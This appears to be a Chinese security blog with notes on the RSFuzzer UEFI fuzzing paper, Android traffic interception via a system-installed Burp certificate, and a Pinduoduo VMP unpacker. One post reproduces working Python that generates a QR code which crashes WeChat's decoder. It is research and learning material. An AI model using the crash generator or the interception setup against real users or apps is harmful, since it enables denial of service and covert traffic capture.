Vec's Blog


  • 首页

  • 归档

论文阅读记录——RSFuzzer: Discovering Deep SMI Handler Vulnerabilities in UEFI Firmware with Hybrid Fuzzing

发表于 2023-05-31

原文链接: https://www.computer.org/csdl/proceedings-article/sp/2023/933600b765/1Js0Ek1SE6c

Background

SMM是一种面向x86处理器的,由Unified Extensible Firmware Interface (UEFI)固件提供的安全操作模式,在SMM模式下运行的程序就是SMM driver,功能包括电量管理,访问敏感数据以及控制系统硬件等。
在系统启动的时候,这些driver被加载到一块单独的内存空间,称为SMRAM,并且在启动后这块SMRAM就被锁定。
另外值得一提的是,SMM driver的权限为-2,而我们知道kernel的权限一般是0,因此SMM driver可以通过物理地址访问所有的内存空间。对SMM driver进行fuzzing也是建立在0级权限之上的,也就是基于0级权限的威胁模型。

这些driver通常包含3个部分:
1. 一套vendor提供的协议,用于与其他driver通信
2. 一组SMI handlers,每个代表一项运行时的服务,通过CommBuffer与kernel交换数据
3. 初始化函数,用来注册上述协议和handler,将它们存放至SMRAM

其中,SMI handler既是SMM driver的入口,也是与kernel交换数据的唯一接口。因此,对SMM drivr进行fuzzing的理想目标就是SMI handler。

Running Example

第18行将buffer指向的位置改为0,而buffer在第12行可以由输入数据控制,第16行的签名又可以由第7行控制。
可以看出,一个漏洞的触发涉及多个不同输入格式的handler,是一个较为复杂的过程。

Challenges

  1. SMI handler存在不同的输入接口
  2. SMI handler的输入需要满足不同的格式
  3. 触发漏洞可能需要多个handler共同参与
  4. 漏洞可能被路径约束保护
  5. 漏洞可能仅为静默的内存污染,并不导致crash

Insights

为了解决以上5个挑战,本文提出以下insights:

  1. 为了生成有价值的测试用例,需要知道输入相关的知识,包括输入接口和输入的数据格式
  2. 为了有效地测试SMI handler, 需要跨handler相关的知识,包括handler之间的producer-consumer关系和涉及的跨handler变量
  3. 为了提高代码覆盖率,需要解决路径约束
  4. 为了找出更多内存相关的漏洞,需要检测静默的内存破坏

Contribution

本文贡献如下:

  1. 提出了一个灰盒测试工具,能够识别SMI handler的输入接口,恢复输入格式并进行多个handler的fuzzing
  2. 实现了RSFuzzer,评价了16个UEFI的固件,并且表现得比state-of-the-art的工具都好
  3. 检测了65个新漏洞,33个得到开发商确认,获得14个CVE
  4. 计划开源RSFuzzer

Overview


在执行单handler的fuzzing的时候,RSFuzzer通过concolic execution提取输入知识(符号化输入相关的变量,实例化其他变量)同时也会收集对其他SMI handler的调用,识别用于其他handler的变量,从而更好地进行跨handler的fuzzing。

当一定时间内没有触发新的block的时候,RSFuzzer切换为跨handler模式,选择一个跨handler变量,根据依赖生成一系列SMI handler调用进行fuzzing。触发新的block之后,再切换回单handler模式继续fuzz。

Design

RSFuzzer的设计主要包含以下四个部分:

Input Knowledge Extraction

输入知识包括输入接口和输入格式。

输入接口:CommBuffer总是第三个参数,因此不需要识别实际的内存地址;硬编码的地址通过递归式的方法进行识别。

输入格式在解引用操作使用过的变量识别为指针,其他的通过递归的方式识别基本类型(只需要大小);
识别struct的结构基于两点观察:
1.指向struct的指针通常式通过间接地址访问的;
2.上级结构总是包含指向下级结构的指针
也是提出了一种递归式的算法识别整个struct。

Test Case Generation

生成测试用例主要根据三种模式:
1.基于格式的:每当取得新的输入格式相关的知识,RSFuzzer就会按照对应的格式分配内存,填充随机数据并生成一个新的test case种子
2.基于约束的:如果约束求解长时间无法解出,RSFuzzer会变异与未触发的分支相关的变量,变异为与分支条件相同或是略大、略小的值。
3.基于污点的:由于SMI handler拥有-2级权限,对内存的污染很可能不会触发crash。RSFuzzer在fuzz之前分配一块不可读不可写不可执行作为Red Zone,之后在concolic execution中标记所有用户可控的内存指令为危险指令,最后在fuzzing的时候通过变异潜在的危险指令使其指向red zone,从而触发crash

Cross-handler Knowledge Extraction

本文关注的跨handler知识主要包括跨handler的变量及代码片段。其中代码片段具有如下特征:
1.总是访问相同的内存空间
2.至少一个代码片段对其进行写操作
3.该变量生存周期涵盖多个handler的执行
而这些片段涉及的变量即为跨handler变量。

Evaluation

RSFuzzer基于AFL++实现,在16个UEFI固件镜像中进行测试,得到如下结果:

Vulnerabilities


RSFuzzer找出65个漏洞,包括六种类型:

  1. Improper input validation
  2. Out-of-bound write
  3. Buffer overflows
  4. Use of uninitialized variables
  5. Untrusted pointer dereference
  6. Use after free

Coverage

与sota工作(Syzgen和SPENDER)相比,RSFuzzer的代码覆盖率提升到了617%,另外漏洞发现率也提高到了828%。

Effectiveness of Knowledge Extraction

为了证明知识提取的效果,作者去除Knowledge Extraction模块,使用随机变异的字节填充输入,得到如下结果:

可以看出Knowledge Extraction在fuzzing中发挥了重要作用。

Discussion

Limitation

本文主要存在如下局限性:

  1. 虽然用的是partial emulation,开销还是很大
  2. 官网上仅提供是待升级的固件镜像,可能有所疏漏

Further Research

另外有两类bug不能被RSFuzzer检测,需要进一步的工作:

  1. Information leak
  2. Inproper access control

腾讯系扫码崩溃漏洞

发表于 2023-04-25

背景

最近在群里看见一张二维码,刚点开图片还没扫码,微信app就崩溃退出了。这引发了我浓厚的兴趣:崩溃退出多半是存在内存错误,如果能在二维码里编码特定的数据,产生可控的越界读写的话,说不定有利用价值。

从微信入手

先看看微信的报错信息:

非常清晰明了,是在libwechatQrMod.so中产生了一个对空指针的解引用造成的崩溃,并且还附上了出错的地址,可以直接在ida中定位相关代码:

正是这一句memcpy出了问题。但是native代码读起来太麻烦了,并且涉及大量数据格式的处理,没有符号表非常难读,于是转变思路。

其他的qrcode库

已知微信识别不了,如果其他库也无法识别,很可能就是二维码库本身的问题。
我先后尝试了多个在线解析二维码的网站,也用python的zbar和opencv尝试识别,都无法从中读取任何信息。那么很可能这个漏洞就是格式解析错误导致的了,但是仅从二维码本身又看不出问题,事情陷入僵局。

开偷

不过就在这时,群里转了另一篇文章,里面附上了生成这种畸形二维码的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import qrcode
from qrcode.util import QRData, MODE_8BIT_BYTE

NUM_BLOCKS = [19, 34, 55, 80, 108, 136, 156, 194, 232]

def tencent_crash_qrcode(message: str, filename='crash.png'):

def hack_put(self, num, length):
if num == 0:
num = 1
for i in range(length):
self.put_bit(((num >> (length - i - 1)) & 1) == 1)

data = message.encode('utf-8')
data_len = len(data)

version = 1
while version <= len(NUM_BLOCKS) and data_len + 3 > NUM_BLOCKS[version-1]:
version += 1
if version > len(NUM_BLOCKS):
raise Exception('message too long')

data += b' ' * (NUM_BLOCKS[version-1] - data_len - 3)

print(data_len, version)
qr = qrcode.QRCode(version, qrcode.constants.ERROR_CORRECT_L)

comm_data = QRData(data, MODE_8BIT_BYTE)
hack_data = QRData(b'', MODE_8BIT_BYTE)

qr.add_data(comm_data, 0)
qr.add_data(hack_data, 0)

original_put = qrcode.util.BitBuffer.put
qrcode.util.BitBuffer.put = hack_put
qr.make_image().save(filename)
qrcode.util.BitBuffer.put = original_put

tencent_crash_qrcode('KFCVW50')

可以看出,问题的关键在于代码在填满qrcode的数据区之后又添加了一个空的QRData,但是又重载了put方法使其长度被写为1,导致解析器认为后续还存在数据段,从而产生越界读。

后续

为了研究这一漏洞是否具有利用价值,我又去读了一下qrcode具体的编码过程。

数据与纠错码会以上图的顺序进行填充,加上掩码和版本信息。数据段后续具体存放的是什么数据依赖于具体的实现,但是并不能像设想的一样将自定义的数据写入任意地址,所以大概也没什么用。

漏洞修复

这篇文章刚写一半,就发现opencv已经把这个漏洞修了,出问题的代码如下:

1
2
3
4
5
-        count = (available + 7 / 8);
+ count = (available + 7) / 8;
}
+ // avoid reading invalid memory region when no data should be processed
+ if (count <= 0) return;

非常明显的低级错误,可惜不是自己发现的。水平还有待提高。

参考材料

https://t.me/TimeAxis/892
https://nano.ac/posts/86257129/
https://zhuanlan.zhihu.com/p/85224424

clash + adb reverse抓包

发表于 2023-04-06

clash + adb reverse抓包

问题背景

之前在尝试抓包app的时候通常是直接在同一局域网下(通常是连同一个wifi)配置代理,并且安装证书。但这一方法对于加固的app很多时候无法发挥作用。通过网上搜索,也尝试过配置本地vpn强制转发流量的方法,但是往往网络响应速度又会大大减慢,导致很多流量出现超时,还是无法获得完整流量。这一次从隔壁组里学习到了一种新的方法,覆盖率和速度都有所提高,因此在这里记录一下。

配置流程

Burpsuite


和同一wifi的方式不同,这里直接按照默认配置监听本地8080端口就可以。另外记得把导出的证书安装到手机上。

Magisk

使用move certificates这一模块把我们burpsuite的证书安装到系统根证书。(安装新证书之后需要重启手机才能生效)

Clash

编写配置文件,并导入clash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mixed-port: 7890
allow-lan: false
mode: global
log-level: info
external-controller: 127.0.0.1:9090
proxies:
- name: "burp"
type: http
server: 127.0.0.1
port: 8080
proxy-groups:
- name: Proxy
type: select
proxies:
- burp

在adb进行端口转发:

1
adb reverse tcp:8080 tcp:8080

启动clash之后,就能在bp上看到很多原本抓不到的包了。

参考资料

https://github.com/Magisk-Modules-Repo/movecert

MANWE脱壳机阅读笔记

发表于 2023-03-31

背景

pdd出事之后,我尝试逆向过mw01.bin的还原逻辑,但是花了很多时间也没有头绪。现在既然davinci大佬把脱壳机放出来了,自然要好好理解一下,也为以后遇到的VMP壳做准备。

ManweVmpLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class ManweVmpLoader {

public static void main(String[] args) throws Throwable {
String firmwarePath = "/tmp/mw1.bin";
ManweVmpDataInputStream inputStream = new ManweVmpDataInputStream(Files.newInputStream(Paths.get(firmwarePath)));
ManweVmpDex manweVmpDex = new ManweVmpDex(inputStream);
System.out.printf("Load %d class%n", manweVmpDex.manweVmpClazzes.length);
if (inputStream.available() != 0) {
throw new RuntimeException(String.format("%d bytes remaining", inputStream.available()));
}
inputStream.close();
if (Files.notExists(Paths.get("/tmp/final_java/"))) {
new File("/tmp/final_java/").mkdirs();
}
manweVmpDex.writeClazzes("/tmp/final_java/");
}
}

这部分是脱壳机的起点,代码也比较短,容易理解。
首先将文件内容转化为ManweVmpDataInputStream,这个类支持对文件内容进行不同类型(int,double,UTF等等)的读取,跟核心逻辑关系不大,不再赘述。
之后把输入流导入ManweVmpDex,将文件还原为dex文件,并逐class写回文件系统。因此接下来的关键类就是ManweVmpDex。

ManweVmpDex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public ManweVmpDex(final ManweVmpDataInputStream in) throws IOException {
final ManweVmpDataInputStream inStream = in;
// 读3字节的magic
inStream.read(this.magic);
if (magic[0] != 0x1A || magic[1] != 0x0C || magic[2] != 0x06) {
throw new IOException("Check Magic Fail");
}

// 读1字节的版本号
this.vmpVersion = inStream.read();
System.out.println(this.vmpVersion);
// 读 headers
if (this.vmpVersion == 5)
this.headers = inStream.readStrBytesMap();
else if (this.vmpVersion < 5)
this.headers = new HashMap<>();
// 读 ConstantPool
this.constantPool = new ManweVmpConstantPool(inStream);
Pool
.init(this.constantPool);
// 读 N 个class
int clazzCount = inStream.readUnsignedShort();
this.manweVmpClazzes = new ManweVmpClazz[clazzCount];
for (int i = 0; i < clazzCount; i++) {
this.manweVmpClazzes[i] = new ManweVmpClazz(inStream, constantPool, this.vmpVersion);
System.out.printf("VmpClass [%d/%d] success, %s%n", i, clazzCount, this.manweVmpClazzes[i]);
}
Arrays.stream(this.manweVmpClazzes).forEach(RuntimeTypeFixer::parseVmpClazz);
this.constantPool.records = PoolFixer.moveZeroToLast(this.constantPool, this.manweVmpClazzes);
this.constantPool.records = RuntimeTypeFixer.addSingleStringToPool(this.constantPool, "Code");
this.constantPool.records = RuntimeTypeFixer.addStringToPool(this.constantPool);

PoolFixer.analyzeUtf8ToClazz(this.constantPool.records);
PoolFixer.patchForFieldAndMethod(this.constantPool.records);
Arrays.stream(this.manweVmpClazzes).forEach(clazz -> {
PoolFixer.patchConstantPoolForClassMeta(clazz, this.constantPool.records.length);
});
this.constantPool.records = PoolFixer.doFinal(this.constantPool.records);
}

在ManweVmpDex的构造函数中,程序首先读取is中的magic number、版本号、headers、常量池(ManweVmpConstantPool),然后再解析其中的class。
常量池开头为两字节,指明常量的数量,之后的每一条都是一个字节指明下一个常量的类型(字节数),然后紧跟着该常量的值。常量的类型包括:

1
2
3
4
5
6
7
8
9
10
11
12
BOOL
INTEGER
LONG
FLOAT
DOUBLE
CONSTANT_UTF8
VMP_CLAZZ_REF
VMP_FIELD_REF
VMP_METHOD_REF
ANNOTATION
ENUM_REF
USHORT_ARRAY

ManweVmpClazz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public ManweVmpClazz(ManweVmpDataInputStream inStream, ManweVmpConstantPool _constantPool, int _version) throws IOException {
version = _version;
constantPool = _constantPool;
clazzNameIdx = inStream.readUnsignedShort(); //TODO need to be fixed
parentNameIdx = inStream.readUnsignedShort(); //TODO need to be fixed
clazzName = constantPool.getItemAt(clazzNameIdx).asString();
parentName = constantPool.getItemAt(parentNameIdx).asString();

interfaceIdxes = new int[inStream.readUnsignedByte()]; //TODO need to be fixed
interfaceNames = new String[interfaceIdxes.length];
for (int j = 0; j < interfaceIdxes.length; j++) {
interfaceIdxes[j] = inStream.readUnsignedShort();
interfaceNames[j] = constantPool.getItemAt(j).asString();
}

//remove when interface equals to itself
List<Integer> ints = new ArrayList<>();
List<String> strs = new ArrayList<>();
for (int j = 0; j < interfaceIdxes.length; j++) {
if (!interfaceNames[j].equals(clazzName)) {
ints.add(interfaceIdxes[j]);
strs.add(interfaceNames[j]);
}
}

interfaceIdxes = ints.stream().mapToInt(i -> i).toArray();
interfaceNames = strs.toArray(new String[0]);

int annotationCount = inStream.readUnsignedByte();
annotationMap = new HashMap<>(annotationCount);
annotationIdxes = new ArrayList<>();
for (int j = 0; j < annotationCount; j++) {
int annotationIdx = inStream.readUnsignedShort();
annotationIdxes.add(annotationIdx);
ManweVmpConstantPool.VmpAnnotation vmpAnnotation = (ManweVmpConstantPool.VmpAnnotation) constantPool.getItemAt(annotationIdx).getValue();
// System.out.println(vmpAnnotation.annotationName);
annotationMap.put(vmpAnnotation.annotationName, vmpAnnotation);
}

int unknownIdx = inStream.readUnsignedShort();
if (unknownIdx < 0xFFFF) {
unknown = constantPool.getItemAt(unknownIdx).asString();
} else {
unknown = "VMP-UNKNOWN";
}

access_flag = inStream.readUnsignedShort();

// read field
fieldMap = readField(inStream);
// 读method
methodMap = readMethod(inStream, clazzNameIdx);

// read class metadata
if (version == 5)
extraMap = inStream.readStrBytesMap();
else
extraMap = new HashMap<>();
}

构造常量池之后,开始通过ManweVmpClazz构造class。程序依次读取类名、父类名、接口名、注释所对应的index,并从常量池中取出对应的值进行填充。然后通过readField和readMethod读取成员变量和成员函数的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private Map<String, ManweVmpField> readField(ManweVmpDataInputStream inStream) throws IOException {
HashMap<String, ManweVmpField> ret = new HashMap<>();
int fieldCount = inStream.readUnsignedShort();
for (int i = 0; i < fieldCount; i++) {
ManweVmpField manweVmpField = new ManweVmpField(inStream, constantPool);
ret.put(manweVmpField.fieldName, manweVmpField);
// System.out.printf("VmpField [%d/%d] success, %s%n", i, fieldCount, vmpField);
}
return ret;
}

private Map<String, ManweVmpMethod> readMethod(ManweVmpDataInputStream inStream, int clazzNameIdx) throws IOException {
HashMap<String, ManweVmpMethod> ret = new HashMap<>();
int methodCount = inStream.readUnsignedShort();
for (int i = 0; i < methodCount; i++) {
ManweVmpMethod manweVmpMethod = new ManweVmpMethod(inStream, constantPool, version);
manweVmpMethod.setClazzNameIdx(clazzNameIdx);
ret.put(manweVmpMethod.methodName+ manweVmpMethod.description, manweVmpMethod);
//System.out.printf("VmpMethod [%d/%d] success, %s%n", i, methodCount, vmpMethod);
}
if (ret.size() != methodCount) {
throw new RuntimeException("wtf method duplicate??");
}
return ret;
}

成员变量池和成员函数池的构造类似于常量池,由两字节指明数量,然后是各成员的信息,具体的解析方法在ManweVmpField和ManweVmpMethod中。
读取完成后,返回一个Map,键为变量名/函数签名,值为该成员对应的ManweVmpField/ManweVmpMethod类。

ManweVmpField

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public ManweVmpField(ManweVmpDataInputStream inStream, ManweVmpConstantPool _constantPool) throws IOException {
/*
field_info {
u2 access_flags;
u2 name_index; -> utf8
u2 descriptor_index; -> utf8
u2 attributes_count;
attribute_info attributes[attributes_count];
}
*/
constantPool = _constantPool;
nameIdx = inStream.readUnsignedShort();
fieldName = constantPool.getItemAt(nameIdx).asString();
fieldTypeIdx = inStream.readUnsignedShort();
fieldType = constantPool.getItemAt(fieldTypeIdx).asString();
access_flag = inStream.readUnsignedShort();

int annotationCount = inStream.readUnsignedByte();
annotationMap = new HashMap<>(annotationCount);
annotationIdxes = new ArrayList<>();
for (int j = 0; j < annotationCount; j++) {
int annotationIdx = inStream.readUnsignedShort();
annotationIdxes.add(annotationIdx);
ManweVmpConstantPool.VmpAnnotation vmpAnnotation = (ManweVmpConstantPool.VmpAnnotation) constantPool.getItemAt(annotationIdx).getValue();
annotationMap.put(vmpAnnotation.annotationName, vmpAnnotation);
}

int unknownIdx = inStream.readUnsignedShort();
if (unknownIdx < 0xFFFF) {
unknown = constantPool.getItemAt(unknownIdx).asString();
} else {
unknown = "VMP-UNKNOWN";
}
}

构造函数从输入流中读取变量名、变量类型、读取权限和注释所对应的index,然后从常量池中取出对应的值。

ManweVmpMethod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public ManweVmpMethod(ManweVmpDataInputStream inStream, ManweVmpConstantPool _constantPool, int version) throws IOException {

/*
CONSTANT_Methodref_info {
u1 tag;
u2 class_index;[ref]
u2 name_and_type_index;[ref]
}
CONSTANT_Class_info {
u1 tag;
u2 name_index;[UTF8]
}
CONSTANT_NameAndType_info {
u1 tag;
u2 name_index;[UTF8]
u2 descriptor_index;[UTF8]
}
*/
constantPool = _constantPool;
nameIdx = inStream.readUnsignedShort();
methodName = constantPool.getItemAt(nameIdx).asString();
descriptionIdx = inStream.readUnsignedShort();
description = constantPool.getItemAt(descriptionIdx).asString();
access_flag = inStream.readUnsignedShort();

int annotationCount = inStream.readUnsignedByte();
annotationMap = new HashMap<>(annotationCount);
annotationIdxes = new ArrayList<>();
for (int j = 0; j < annotationCount; j++) {
int annotationIdx = inStream.readUnsignedShort();
annotationIdxes.add(annotationIdx);
ManweVmpConstantPool.VmpAnnotation vmpAnnotation = (ManweVmpConstantPool.VmpAnnotation) constantPool.getItemAt(annotationIdx).getValue();
annotationMap.put(vmpAnnotation.annotationName, vmpAnnotation);
}
// read data
vmpCodeLen = inStream.readUnsignedShort();
if (vmpCodeLen > 0) {
byte[] bytecode = new byte[vmpCodeLen];
inStream.readFully(bytecode, 0, vmpCodeLen);
manweCode = new ManweCode(new ManweVmpDataInputStream(new ByteArrayInputStream(bytecode)));
} else {
manweCode = null;
}
if (version == 5)
extraMap = inStream.readStrBytesMap();
else
extraMap = new HashMap<>();
// Example: MethodRef{clazzName='com/xunmeng/pinduoduo/alive/base/ability/common/AliveAbility',
// methodName='isAbilityDisabled2022Q3',
// methodDescription='(Ljava/lang/String;)Z'}
}

成员方法除了类似于成员变量的方法名、签名、读取权限和注释之外,还包含一个额外的ManweCode类,由长度和内容组成,具体解析方法在ManweCode内。

ManweCode太长了,不放代码了,解析过程大致如下:
两字节指明最大临时变量数,两字节指明最大栈长度(但是这两个参数是final的,感觉意义不明),两字节指明指令数量,接下来逐条解析指令(ManweVmpInstruction),设置其JVM偏移为目前的输出位置;
一字节指明opcode,其中共有以下类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
OP_WIDE_PREFIX = 0xc4;					    
OP_IINC = 0x84;
OP_GOTO_W = 0xc8;
OP_JSR_W = 0xc9;
OP_INVOKE_INTERFACE = 0xB9;
OP_NEW = 0xBB;
OP_ANEWARRAR = 0xBD;
OP_CHECKCAST = 0xC0;
OP_INSTANCEOF = 0xC0;
OP_BIPUSH = 16;
OP_SIPUSH = 17;
OP_NEWARRAY = 188;
OP_NOP = 0;
OP_LDC = 0x12;
OP_LDC_W = 0x13;

根据opcode类型的不同,在输出流中的处理也不同,以下枚举其中一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
case 0: {
// case 0 的长度是1 0-15可原样写回(实际上只有NOP是这一种)
outStreamCntOnly.writeByte(opcode);
break;
}
case 1: {
if (opcode == OP_BIPUSH || opcode == OP_SIPUSH) {
// bipush是byte ipush,sipush是 short ipush
// 因为oper 是个short,存在溢出的现象,将二者合并
outStreamCntOnly.writeByte(OP_SIPUSH);
instruction.opcode = OP_SIPUSH;
} else if (opcode == OP_NEWARRAY) {
outStreamCntOnly.writeByte(opcode);
} else {
throw new UnreachableException("not reachable");
}
int oper = inStream.readUnsignedShort();
outStreamCntOnly.writeShort(oper);
instruction.setOperand1(oper);
break;
}
case 3: {
// OP_NEW, OP_ANEWARRAR, OP_CHECKCAST, OP_INSTANCEOF
outStreamCntOnly.writeByte(opcode);
int oper = inStream.readUnsignedShort();
outStreamCntOnly.writeShort(oper);
instruction.setOperand1(oper);
break;
}

通过这种方式记录指令的操作数,同时将VMP的code写为正常dalvik虚拟机的bytecode之后,还需要对异常处理进行解析

1
2
3
4
5
6
7
8
9
10
exceptionTableCount = inStream.readUnsignedByte();
exceptionTables = new VmpExceptionTable[exceptionTableCount];
for (int i = 0; i < exceptionTableCount; i++) {
VmpExceptionTable vmpExceptionTable = new VmpExceptionTable();
vmpExceptionTable.i1 = inStream.readUnsignedShort();
vmpExceptionTable.i2 = inStream.readUnsignedShort();
vmpExceptionTable.i3 = inStream.readUnsignedShort();
vmpExceptionTable.i4 = inStream.readUnsignedShort(); // this entry may need to be fixed
exceptionTables[i] = vmpExceptionTable;
}

每个表的四个参数分别为try catch的开始地址,结束地址,异常的处理起始位,异常类名称。

PoolFixer & RuntimeTypeFixer

本来以为到这里解析的部分就结束了,不过仔细一看构造ManweVmpDex的部分最后还有一段儿

1
2
3
4
5
6
7
8
9
10
11
Arrays.stream(this.manweVmpClazzes).forEach(RuntimeTypeFixer::parseVmpClazz);
this.constantPool.records = PoolFixer.moveZeroToLast(this.constantPool, this.manweVmpClazzes);
this.constantPool.records = RuntimeTypeFixer.addSingleStringToPool(this.constantPool, "Code");
this.constantPool.records = RuntimeTypeFixer.addStringToPool(this.constantPool);

PoolFixer.analyzeUtf8ToClazz(this.constantPool.records);
PoolFixer.patchForFieldAndMethod(this.constantPool.records);
Arrays.stream(this.manweVmpClazzes).forEach(clazz -> {
PoolFixer.patchConstantPoolForClassMeta(clazz, this.constantPool.records.length);
});
this.constantPool.records = PoolFixer.doFinal(this.constantPool.records);

moveZeroToLast:新建了一个patchedPool,拷贝了常量池的内容,但是把第0个item放在了末尾,并且把所有原本指向0的index改为指向末尾(这是在干嘛?)
addSingleStringToPool:往patchedPool里加了一个CONSTANT_UTF8类型的item,值为”Code”
addStringToPool:往patchedPool里加了很多CONSTANT_UTF8类型的item,其中的值包括:(啊?这些都是哪来的?)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
add("android/accounts/Account", "name", DESC_STRING);
add("android/accounts/Account", "type", DESC_STRING);
add("android/content/pm/ActivityInfo", "enabled", DESC_BOOLEAN);
add("android/content/pm/ActivityInfo", "exported", DESC_BOOLEAN);
add("android/content/pm/ActivityInfo", "name", DESC_STRING);
add("android/content/pm/ActivityInfo", "packageName", DESC_STRING);
add("android/content/pm/ActivityInfo", "permission", DESC_STRING);
add("android/content/pm/ApplicationInfo", "flags", DESC_INT);
add("android/content/pm/ApplicationInfo", "sourceDir", DESC_STRING);
add("android/content/pm/ApplicationInfo", "uid", DESC_INT);
add("android/content/pm/ApplicationInfo", "targetSdkVersion", DESC_INT);
add("android/content/pm/PackageInfo", "versionCode", DESC_INT);
add("android/content/pm/PackageInfo", "versionName", DESC_STRING);
add("android/content/pm/ResolveInfo", "activityInfo", wrap("android/content/pm/ActivityInfo"));
add("android/content/pm/ResolveInfo", "resolvePackageName", DESC_STRING);
add("android/content/pm/ResolveInfo", "serviceInfo", wrap("android/content/pm/ServiceInfo"));
add("android/content/pm/ServiceInfo", "metaData", wrap("android/os/Bundle"));
add("android/content/pm/ServiceInfo", "name", DESC_STRING);
add("android/content/pm/ServiceInfo", "packageName", DESC_STRING);
add("android/graphics/Bitmap$Config", "ARGB_8888", wrap("android/graphics/Bitmap$Config"));
add("android/os/Build$VERSION", "SDK_INT", DESC_INT);
add("android/os/Build$VERSION", "SECURITY_PATCH", DESC_STRING);
add("android/os/Build", "MANUFACTURER", DESC_STRING);
add("android/os/Build", "PRODUCT", DESC_STRING);
add("android/os/Build", "BOARD", DESC_STRING);
add("android/os/Build", "DISPLAY", DESC_STRING);
add("android/os/Build", "FINGERPRINT", DESC_STRING);
add("android/os/Build", "MODEL", DESC_STRING);
add("android/os/Build", "SERIAL", DESC_STRING);
add("android/os/Build", "BRAND", DESC_STRING);
add("android/os/Build", "DEVICE", DESC_STRING);
add("android/os/Build$VERSION", "RELEASE", DESC_STRING);
add("android/app/ActivityManager$MemoryInfo", "availMem", DESC_LONG);
add("android/os/Bundle", "EMPTY", wrap("android/os/Bundle"));
add("android/os/Message", "arg1", DESC_INT);
add("android/os/Message", "what", DESC_INT);
add("android/util/Pair", "first", wrap("java/lang/Object"));
add("android/util/Pair", "second", wrap("java/lang/Object"));
add("android/view/WindowManager$LayoutParams", "dimAmount", DESC_FLOAT);
add("android/view/WindowManager$LayoutParams", "flags", DESC_INT);
add("android/view/WindowManager$LayoutParams", "format", DESC_INT);
add("android/view/WindowManager$LayoutParams", "gravity", DESC_INT);
add("android/view/WindowManager$LayoutParams", "height", DESC_INT);
add("android/view/WindowManager$LayoutParams", "packageName", DESC_STRING);
add("android/view/WindowManager$LayoutParams", "token", wrap("android/os/IBinder"));
add("android/view/WindowManager$LayoutParams", "type", DESC_INT);
add("android/view/WindowManager$LayoutParams", "width", DESC_INT);
add("android/view/WindowManager$LayoutParams", "windowAnimations", DESC_INT);
add("android/view/WindowManager$LayoutParams", "x", DESC_INT);
add("android/view/WindowManager$LayoutParams", "y", DESC_INT);
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/adapter/intf/message/Message0", "name", DESC_STRING);
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/adapter/intf/message/Message0", "payload", wrap("org/json/JSONObject"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/adapter/intf/threadpool/ThreadBiz", "CS", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/adapter/intf/threadpool/ThreadBiz"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "IRREGULAR_PROCESS_START", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "PROCESS_START", wrap("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType"));
add("com/xunmeng/pinduoduo/alive/strategy/interfaces/event/TriggerEventType", "name", DESC_STRING);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/powersave/internal/b", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/powersave/internal/b", "c", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/powersave/internal/c", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/powersave/internal/c", "c", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/powersave/internal/e", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/powersave/internal/e", "c", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/powersave/internal/f", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/powersave/internal/f", "c", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/stepInfo/internal/b", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/stepInfo/internal/c", "a", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/stepInfo/internal/c", "b", DESC_NOTFOUND);
add("com/xunmeng/pinduoduo/alive/unify/ability/buildin/stepInfo/internal/f", "a", DESC_NOTFOUND);
